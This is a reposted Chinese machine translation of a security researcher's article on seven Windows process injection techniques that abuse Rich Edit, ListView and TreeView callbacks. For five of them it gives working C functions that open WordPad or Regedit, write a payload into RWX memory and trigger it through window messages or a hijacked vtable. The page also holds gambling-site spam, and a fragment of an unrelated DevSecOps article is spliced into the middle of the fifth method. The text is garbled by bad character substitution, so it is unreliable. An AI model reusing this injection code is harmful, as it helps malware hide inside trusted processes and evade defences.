完成Windows历程注入的7种新方法 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

完成Windows历程注入的7种新方法

申博_安全预警 申博 38次浏览 已收录 0个评论

sunbet

sunbet不同搜索引擎的排名规则算法,sunbet凭借sunbet的正规优化手法为sunbet提供关键词优化、sunbet、整站外包等sunbet服务!

,

简介

在这里,我们主要对@hexacorn上周宣布的代码注入/历程注入相干的文章举行进一步的剖析。在上周,@hexacorn提出了7种新型的进击体式格局,以“摧毁式进击”的要领来完成代码注入或重定向。在本文中,我们将详细议论这些新型注入要领,并供应一些可用的示例。前五种要领的示例都将运用“Edit”和“Rich Edit”控件,末了两个则运用SysListView32和SysTreeView32。

关于Rich Edit控件

要举行新型注入要领的尝试,我们可以挑选遍历一切窗口,比方EnumWindows,从窗口句柄中检索类的称号,然后将字符串的最先部份与“RICHEDIT”举行比较。除了这类要领以外,我们还可以运用FindWindow或FindWindowEX手动查找这些空间。我们所运用的环境是Windows 10的评价版本,因而我举行测试时运用的唯一应用程序就是Wordpad(写字板),并找到个中的富文本控件Rich Edit Control。要完成这一历程,只须要两行代码。

1. 猎取Wordpad的主窗口

wpw = FindWindow(L"WordPadClass", NULL);

2. 找到Rich Edit控件

rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

要领1:WordWarping

可以运用EM_SETWORDBREAKPROC音讯来设置Edit或Rich Edit空间的文本包装器回调函数。经由过程SendInput或PostMessage API模仿键盘输入,可以触发还调函数的实行。这类注入体式格局在16年前就已被用于在应用程序中提拔特权。只管没有针对该破绽的CVE编号,但实际上,它可以被用于针对McAfee、VirusScan、Sygate Personal Firewall Pro、WinVNC、Dameware以及其他产品的破绽应用。示例中的代码,就运用了WordPad完成注入代码,其详细步骤以下:

1. 猎取Wordpad的主窗口;

2. 找到Wordpad的Rich Edit控件;

3. 尝试猎取Wordwrap函数的当前地点;

4. 猎取Wordpad的历程ID;

5. 尝试翻开该历程;

6. 为Payload分派RWX内存;

7. 将Payload写入内存;

8. 更新回调历程;

9. 模仿键盘输入,以触发Payload;

10. 恢复原始Wordwrap功用(假如存在);

11. 开释内存并封闭历程句柄。

VOID wordwarping(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, wwf;
    SIZE_T        rd, wr;
    INPUT         ip;
   
    // 1. Get main window for wordpad.
    //    This will accept simulated keyboard input.
    wpw = FindWindow(L"WordPadClass", NULL);
   
    // 2. Find the rich edit control for wordpad.
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
 
    // 3. Try get current address of Wordwrap function
    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
 
    // 4. Obtain the process id for wordpad.
    GetWindowThreadProcessId(rew, &id);
 
    // 5. Try open the process.
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
 
    // 6. Allocate RWX memory for the payload.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
    // 7. Write the payload to memory
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
 
    // 8. Update the callback procedure
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
 
    // 9. Simulate keyboard input to trigger payload
    ip.type           = INPUT_KEYBOARD;
    ip.ki.wVk         = 'A';
    ip.ki.wScan       = 0;
    ip.ki.dwFlags     = 0;
    ip.ki.time        = 0;
    ip.ki.dwExtraInfo = 0;
   
    SetForegroundWindow(rew);
    SendInput(1, &ip, sizeof(ip));
 
    // 10. Restore original Wordwrap function (if any)
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
   
    // 11. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

要领2:Hyphentension

typedef struct tagHyphenateInfo {
  SHORT cbSize;
  SHORT dxHyphenateZone;
  void((WCHAR *,LANGID, long,HYPHRESULT *) * )pfnHyphenate;
} HYPHENATEINFO;

可以经由过程发送带有指向HYPHENATEINFO构造的指针的EM_GETHYPHENATEINFO音讯,来猎取有关Rich Edit空间Hyphenation信息。然则,该要领假定指向构造的指针是当地内存,因而进击者必须在运用SendMessage或PostMessage发送EM_GETHYPHENATEINFO之前,借助VirtualAllocEx为信息分派内存。在运用EM_SETHYPHENATEINFO之前,可以须要设置Edit空间的排版(Typography)选项。只管我们没法运用写字板完成这一点,但我们推想,诸如Microsoft Word如许功用雄厚的笔墨处理器应该是可行的。

要领3:AutoCourgette

依据MSDN上供应的信息,EM_SETAUTOCORRECTPROC音讯所支撑的客户端最低版本是Windows 8,因而它是一个相对较新的功用。写字板明显不支撑自动校订,所以我没法完成该要领的应用。像第二种要领Hyphenation一样,这类要领可以会适用于Microsoft Word。

要领4:Streamception

typedef struct _editstream {
  DWORD_PTR          dwCookie;
  DWORD              dwError;
  EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;

当Rich Edit空间收到EM_STREAMIN音讯时,它运用EDITSTREAM构造中供应的信息,将数据流传入或传出控件。pfnCallback字段的范例为EDITSTREAMCALLBACK,可以指向内存中的Payload。我们确保EDITSTREAMCALLBACK会返回一个非零值,从而指导毛病的存在,但终究,Rich Edit空间中的内容依然会被删除。这一要领可以一般事变,但不会损坏现有的缓冲流。我们推想,可以有要领可以处理这一题目,但现在我们依然在深入调查的历程当中。

该要领的详细步骤以下:

1. 猎取窗口句柄;

2. 猎取历程ID并尝试翻开历程;

3. 分派RWX内存,并在该位置复制Payload;

4. 分派RW内存,并在该位置复制EDITSTREAM构造;

5. 运用EM_STREAMIN触发Payload;

6. 开释内存并封闭历程句柄。

VOID streamception(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, ds;
    SIZE_T        rd, wr;
    EDITSTREAM    es;
   
    // 1. Get window handles
    wpw = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
   
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
 
    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
 
    // 4. Allocate RW memory and copy the EDITSTREAM structure there.
    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
       
    es.dwCookie    = 0;
    es.dwError     = 0;
    es.pfnCallback = cs;
   
    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
   
    // 5. Trigger payload with EM_STREAMIN
    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);
 
    // 6. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

要领5:Oleum

在完成前四个要领的研讨以后,我最先研讨EM_SETOLECALLBACK这个潜伏的要领。大概是在同一时间,Adam也更新了他的博客,说发现了这一要领。EM_GETOLECALLBACK音讯好像没有很好地举行纪录,假如LPARAM没有指向当地可接见的内存,当发送到带有SendMessage的Rich Edit窗口时,将会发作崩溃。另外,EM_GETOLECALLBACK没有按预期返回指向IRichEditOleCallback的指针,它返回了一个指向IRichEditOle的指针。因而,我没有运用EM_SETOLECALLBACK。相反,保留IRichEditOle.lpVtbl的堆内存将被一个地点掩盖到原始表的副本,个中一个要领指向Payload,在我们的示例中详细是GetClipboardData。

浅谈企业 DevSecOps 实践: 安全计划

系列文章(1):浅谈企业 DevSecOps 实践:基本原则 系列文章(2):浅谈企业 DevSecOps 实践:安全如何与研发协同工作 系列文章(3):浅谈企业 DevSecOps 实践: 安全测试集成 系列文章(4):浅谈企业 DevSecOps 实践: 构建安全工具链 本文旨在帮助安全人员为应用程序安全程序创建一个大纲或结构。 我们将回答一些常见的问题,比如“我们如何开始构建应用程序安全策略? ” “我如何开始合并 DevSecOps? ” 及”我应该遵守什么样的应用程式安全标准? ”我将讨论软件开发生命

由于假造函数表仅位于只读内存中,所以我们没法完成对它的掩盖。或许有读者会说,可以在变动内存保护后完成对其的掩盖,但我并不引荐这类要领。我们可以制造副本,更新一个条目,并简朴地重定向实行,如许可以会更有意义。

typedef struct _IRichEditOle_t {
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR GetClientSite;
    ULONG_PTR GetObjectCount;
    ULONG_PTR GetLinkCount;
    ULONG_PTR GetObject;
    ULONG_PTR InsertObject;
    ULONG_PTR ConvertObject;
    ULONG_PTR ActivateAs;
    ULONG_PTR SetHostNames;
    ULONG_PTR SetLinkAvailable;
    ULONG_PTR SetDvaspect;
    ULONG_PTR HandsOffStorage;
    ULONG_PTR SaveCompleted;
    ULONG_PTR InPlaceDeactivate;
    ULONG_PTR ContextSensitiveHelp;
    ULONG_PTR GetClipboardData;
    ULONG_PTR ImportDataObject;
} _IRichEditOle;

下面的代码中,运用WordPad作为示例,由于我在运用EM_SETOLECALLBACK音讯的Windows的评价版本上找不到任何其他可以运用的应用程序。该历程会将Payload的地点替换为GetClipboardData的地点,然后将WM_COPY发送到Rich Edit窗口。

详细步骤以下:

1. 猎取窗口句柄;

2. 猎取历程ID并尝试翻开历程;

3. 分派RWX内存,并在该位置复制Payload;

4. 为当前地点分派RW内存;

5. 查询界面;

6. 读取内存地点;

7. 读取IRichEditOle.lpVtbl;

8. 读取假造函数表;

9. 为假造函数表的副本分派内存;

10. 将GetClipboardData要领设置为Payload的地点;

11. 将新的假造函数表写入长途内存;

12. 更新IRichEditOle.lpVtbl;

13. 经由过程挪用GetClipboardData要领触发Payload;

14. 恢复IRichEditOle.lpVtbl的原始值;

15. 开释内存并封闭历程句柄。

VOID oleum(LPVOID payload, DWORD payloadSize) {
    HANDLE                hp;
    DWORD                 id;
    HWND                  rew;
    LPVOID                cs, ds, ptr, mem, tbl;
    SIZE_T                rd, wr;
    _IRichEditOle         reo;
   
    // 1. Get the window handle
    rew = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);
   
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
 
    // 3. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
   
    // 4. Allocate RW memory for the current address
    ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     
    // 5. Query the interface
    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);
   
    // 6. Read the memory address
    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
 
    // 7. Read IRichEditOle.lpVtbl
    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
 
    // 8. Read virtual function table
    ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);
 
    // 9. Allocate memory for copy of virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     
    // 10. Set the GetClipboardData method to address of payload
    reo.GetClipboardData = (ULONG_PTR)cs;
   
    // 11. Write new virtual function table to remote memory
    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
   
    // 12. update IRichEditOle.lpVtbl
    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);
   
    // 13. Trigger payload by invoking the GetClipboardData method
    PostMessage(rew, WM_COPY, 0, 0);
   
    // 14. Restore original value of IRichEditOle.lpVtbl
    WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
   
    // 15. Free memory and close process handle
    VirtualFreeEx(hp, ptr,0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
   
    CloseHandle(hp);  
}

要领6:ListPlanting

可以运用LVM_SORTGROUPS、LVM_INSERTGROUPSORTED和LVM_SORTITEMS音讯,自定义ListView控件中的项目/组。以下构造将用于LVM_INSERTGROUPSORTED。

typedef struct tagLVINSERTGROUPSORTED {
  PFNLVGROUPCOMPARE pfnGroupCompare;
  void              *pvData;
  LVGROUP           lvGroup;
} LVINSERTGROUPSORTED, *PLVINSERTGROUPSORTED;

下面的代码中,运用注册表编辑器和LVM_SORTITEMS来触发Payload。在这里,存在一个题目,就是这一历程会为列表中的每一项挪用回调函数。假如列表中没有项目,那末基础不会挪用该函数。实际上,我们可以想办法处理这一题目,比方搜检列表中有若干项目、增加项目、删除项目、运用传递给回调函数的参数等。

详细步骤以下:

1. 猎取窗口句柄;

2. 猎取历程ID并尝试翻开历程;

3. 分派RWX内存并在该位置复制Payload;

4. 触发Payload;

5. 开释内存并封闭历程句柄。

VOID listplanting(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          lvm;
    LPVOID        cs;
    SIZE_T        wr;
   
    // 1. get the window handle
    lvm = FindWindow(L"RegEdit_RegEdit", NULL);
    lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);
  
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(lvm, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
 
    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
   
    // 4. Trigger payload
    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);
   
    // 5. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

要领7:Treepoline

typedef struct tagTVSORTCB {
  HTREEITEM    hParent;
  PFNTVCOMPARE lpfnCompare;
  LPARAM       lParam;
} TVSORTCB, *LPTVSORTCB;

可以经由过程TVM_SORTCHILDRENCB音讯完成自定义排序。关于每一个项目,将会实行Payload,因而还须要举行分外搜检,以防止运转多个实例。在猎取TreeListView窗口句柄后,我们须要做的第一件事变是猎取根项目。在挪用回调函数之前,我们就须要个中的一个项目。

详细步骤以下:

1. 猎取treeview句柄;

2. 猎取历程ID并尝试翻开历程;

3. 分派RWX内存,并在该位置复制Payload;

4. 猎取树列表中的根项目;

5. 分派RW内存,并复制TVSORTCB构造;

6. 触发Payload;

7. 开释内存并封闭历程句柄。

// requires elevated privileges
VOID treepoline(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, tlv;
    LPVOID        cs, ds, item;
    SIZE_T        rd, wr;
    TVSORTCB      tvs;
   
    // 1. get the treeview handle
    wpw = FindWindow(L"RegEdit_RegEdit", NULL);
    tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
   
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(tlv, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
 
    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
       
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
   
    // 4. Obtain the root item in tree list
    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
 
    tvs.hParent     = item;
    tvs.lpfnCompare = cs;
    tvs.lParam      = 0;
   
    // 5. Allocate RW memory and copy the TVSORTCB structure
    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
       
    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
   
    // 6. Trigger payload
    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);
 
    // 7. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
   
    CloseHandle(hp);
}

本文翻译自:https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明完成Windows历程注入的7种新方法
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址